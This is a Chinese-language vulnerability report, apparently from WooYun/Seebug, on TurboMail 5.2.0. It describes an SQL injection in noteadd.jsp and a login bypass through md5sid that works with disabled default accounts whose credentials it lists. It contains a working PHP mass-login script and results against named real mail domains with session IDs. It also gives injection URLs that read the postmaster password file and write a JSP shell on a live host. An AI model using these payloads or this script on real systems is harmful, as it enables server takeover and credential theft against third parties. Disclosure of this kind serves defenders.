### 简要描述: 前台注入存在注入,可查看管理员密码甚至getshell。 ### 详细说明: 0x1 前台注入 turbomail\web\webapps\ROOT\enterprise\noteadd.jsp: ``` ... UserInfo userinfo = ms.userinfo; if (userinfo == null) { XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0); return; } String id = request.getParameter("id");//id参数传入,没有过滤 Note note = null; String cmd = "add"; if(id!=null){ note = Note.findById(id); //跟进findById方法 cmd = "edit"; } ... ``` turbomail.jar\turbomail\note\NoteServiceImpl.class: ``` public Note findById(String id) { String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入 Connection conn = null; PreparedStatement pstmt = null; ResultSet rs = null; Note note = null; try { conn = DB.getConnection(); pstmt = conn.prepareStatement(sql); rs = pstmt.executeQuery(); //进入查询 ... ``` 0x2 默认用户登录 之前TurboMail出过默认用户空密码登录的漏洞, [WooYun: TurboMail邮箱系统默认配置不当可进入任意邮箱及获取管理员密码(官网也中招及大量实例)](http://www.wooyun.org/bugs/wooyun-2014-058159) ,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。 ``` mysql> select...
### 简要描述: 前台注入存在注入,可查看管理员密码甚至getshell。 ### 详细说明: 0x1 前台注入 turbomail\web\webapps\ROOT\enterprise\noteadd.jsp: ``` ... UserInfo userinfo = ms.userinfo; if (userinfo == null) { XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0); return; } String id = request.getParameter("id");//id参数传入,没有过滤 Note note = null; String cmd = "add"; if(id!=null){ note = Note.findById(id); //跟进findById方法 cmd = "edit"; } ... ``` turbomail.jar\turbomail\note\NoteServiceImpl.class: ``` public Note findById(String id) { String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入 Connection conn = null; PreparedStatement pstmt = null; ResultSet rs = null; Note note = null; try { conn = DB.getConnection(); pstmt = conn.prepareStatement(sql); rs = pstmt.executeQuery(); //进入查询 ... ``` 0x2 默认用户登录 之前TurboMail出过默认用户空密码登录的漏洞, [WooYun: TurboMail邮箱系统默认配置不当可进入任意邮箱及获取管理员密码(官网也中招及大量实例)](http://www.wooyun.org/bugs/wooyun-2014-058159) ,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。 ``` mysql> select username,tpassword,enable from accountutil; +------------+--------------------+--------+ | username | tpassword | enable | +------------+--------------------+--------+ | nobody | bm9ib2R5NTQzMjE=3D | false |//密码为nobody54321 | postmaster | | true | | sec_bm | | false |//空密码 | sec_sj | | false |//空密码 +------------+--------------------+--------+ 4 rows in set (0.00 sec) ``` nobody、sec_bm、sec_sj三个账号默认enbale=false,没有启用。尽管禁用了这三个账号,但还是可以利用的。 系统还提供了另一种sid登录方式。turbomail.jar\turbomail\web\Login.class: ``` ... String md5sid = request.getParameter("md5sid"); md5sid = Util.formatRequest(md5sid, MailMain.s_os, SysConts.New_InCharSet); ... else if (!md5sid.equals("")) { boolean bMD5SidAuth = MD5SidAdmin.auth(str_uid, str_domain, md5sid); if (bMD5SidAuth) { userinfo = MailMain.s_auth.createUserInfo(str_uid, str_domain); } } ... ``` 由于该登录方式没有检查当前用户的启用状态,所以可以使用这三个账号登录前台,进而前台注入就能利用了。md5sid的生成是通过调用GetMD5Sid1方法: turbomail.jar\turbomail\auth\MD5SidAdmin.class: ``` public static void GetMD5Sid1(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { WebUtil.setResponseNocache(response); response.setContentType("text/plain;charset=UTF-8"); String username = request.getParameter("username"); String domain = request.getParameter("domain"); String useraccount = null; if (username == null) { username = ""; } if (username.indexOf("@") != -1) { useraccount = username; } else { useraccount = username + "@" + domain; } useraccount = useraccount.toLowerCase(); String strSNO = Util.getSNO(); MD5SidUserAccount md5sidua = null; synchronized (m_objLock) { md5sidua = (MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount); if (md5sidua == null) { UserAccount ua = UserAccountAdmin.getUserAccount(domain, username); if (ua == null) { response.getWriter().write("nouser"); return; } String password = ua.getPassword(); if (password.startsWith("{md5}")) { password = password.substring(5); } else { password = Password.decode(password); password = MD5.getHashString(password); } md5sidua = new MD5SidUserAccount(); md5sidua.m_strMD5Password = password; md5sidua.m_strUserAccount = useraccount; m_hsMD5SidUserAccount.put(useraccount, md5sidua); } } String snomd5password = strSNO + md5sidua.m_strMD5Password; String strMD5Sid = MD5.getHashString(snomd5password); strMD5Sid = strMD5Sid.toLowerCase(); MD5Sid md5sid = new MD5Sid(); md5sid.m_strMD5Sid = strMD5Sid; md5sid.m_strSNO = strSNO; if (ServerConf.i_LOG_LANGUAGE == TMConfig.LOG_LANGUAGE_CHINESE) { MailMain.s_log.log("0", 4, 4301, "GetMD5Sid1 useraccount:" + useraccount + " strSNO:" + strSNO + " " + " strMD5Sid:" + strMD5Sid + " auth"); } else { MailMain.s_log.log("0", 4, 4301, "获取用户的MD5,用户:" + useraccount + " 序号:" + strSNO + " " + " MD5ID串:" + strMD5Sid + " 认证"); //写入日志文件 } md5sidua.m_hsSids.put(strMD5Sid, md5sid); response.getWriter().write(strSNO);//输出序号 } ``` md5sid生成方式为: md5(序号+md5(用户密码)), 而且系统也提供了调用接口,turbomail.jar\turbomail\web\MailMain.class: ``` ... String type = request.getParameter("type"); ... else if (type.equals("getmd5sid1")) { MD5SidAdmin.GetMD5Sid1(request, response); } ... ``` 利用方式: 第一步访问URL:http://localhost:8080/mailmain?type=getmd5sid1&username=nobody&domain=root,生成md5sid并写入缓存,成功后会返回一个序号。算法已经知道了,获得序号后我们可以生成对应md5sid: ``` php -r "echo md5('序号'.md5('nobody54321'));" ``` 第二步使用md5sid登录(md5sid只能用一次): http://localhost:8080/mailmain?type=login&uid=nobody&domain=root&md5sid=生成的md5sid ### 漏洞证明: 写了个小脚本跑了下: ``` <?php $ip = explode("\n", str_replace("\r", "", file_get_contents("ip.txt"))); for ($i = 0; $i < count($ip); $i++) { if (trim($ip[$i])) { login_with_md5sid('sec_bm', trim($ip[$i])); login_with_md5sid('sec_sj', trim($ip[$i])); login_with_md5sid('nobody', trim($ip[$i])); login_with_md5sid('nobody', trim($ip[$i]), 'nobody54321'); } } function login_with_md5sid($usr, $host, $pwd = '') { $url = "http://${host}/mailmain?type=getmd5sid1&username=${usr}&domain=root"; print_r($url."\r\n"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $sno = curl_exec($ch); curl_close($ch); if (preg_match('/^\d{13}$/', trim($sno))) { //echo trim($sno)."\r\n"; echo "${host} exists user ${usr}\r\n"; $md5sid = md5($sno . md5($pwd)); $url = "http://${host}/mailmain?type=login&uid=${usr}&domain=root&md5sid=${md5sid}"; echo "try login with url: " . $url . "\r\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); $out = curl_exec($ch); curl_close($ch); if (preg_match('/sessionid/i', $out)) { echo "${host} login with ${usr} successfully!\r\n"; preg_match('/Location: (.*)/',$out,$url); file_put_contents("result.txt", "${host}:${usr}:${pwd}:-->${url[1]}\r\n", 8); } } } ``` 从zoomeye找了些来跑: ``` mail.jinfangda.com:nobody:nobody54321:-->http://mail.jinfangda.com/tmw/5/next/login.jsp?sessionid=198073dH4ea0_0 mail.trycool.com:nobody:nobody54321:-->http://mail.trycool.com/tmw/8/next/login.jsp?sessionid=2b9881aHb1_0 mail.paliqu.com.cn:nobody:nobody54321:-->http://mail.paliqu.com.cn/tmw/9/next/login.jsp?sessionid=497ae4aH6_0 ``` 常规登录失败:http://mail.jinfangda.com/mailmain?type=login&uid=nobody&pwd=nobody5421&domain=root,而使用md5sid方式登录成功: [<img src="https://images.seebug.org/upload/201501/121549592264ad77732f24a7b1224309d0abd91b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/121549592264ad77732f24a7b1224309d0abd91b.png) 得到sessionid后,就能使用前台sql注入了。load_file读取postmaster密码: ``` http://mail.jinfangda.com/enterprise/noteadd.jsp?sessionid=198073dH4ea0_0&id=-1%20union%20select%201,load_file(%27E:\\turbomail\\accounts\\root\\postmaster\\account.xml%27),3,4,5,6,7,8 ``` [<img src="https://images.seebug.org/upload/201501/121550357aed722edb9b84caafec40bdd59540bd.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/121550357aed722edb9b84caafec40bdd59540bd.png) 也可以直接写shell: ``` http://mail.jinfangda.com/enterprise/noteadd.jsp?sessionid=198073dH4ea0_0&id=-1 union select '','test','','','','','','' into dumpfile 'E:\\turbomail\\web\\webapps\\ROOT\\test.jsp' ``` http://mail.jinfangda.com/test.jsp 表t_note默认没有数据,得手动添加一个记录,不然注入失败。在前台"记事本"随便添加一个即可。 [<img src="https://images.seebug.org/upload/201501/121551441cff28e8543585ec7d8307ee38641844.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/121551441cff28e8543585ec7d8307ee38641844.png)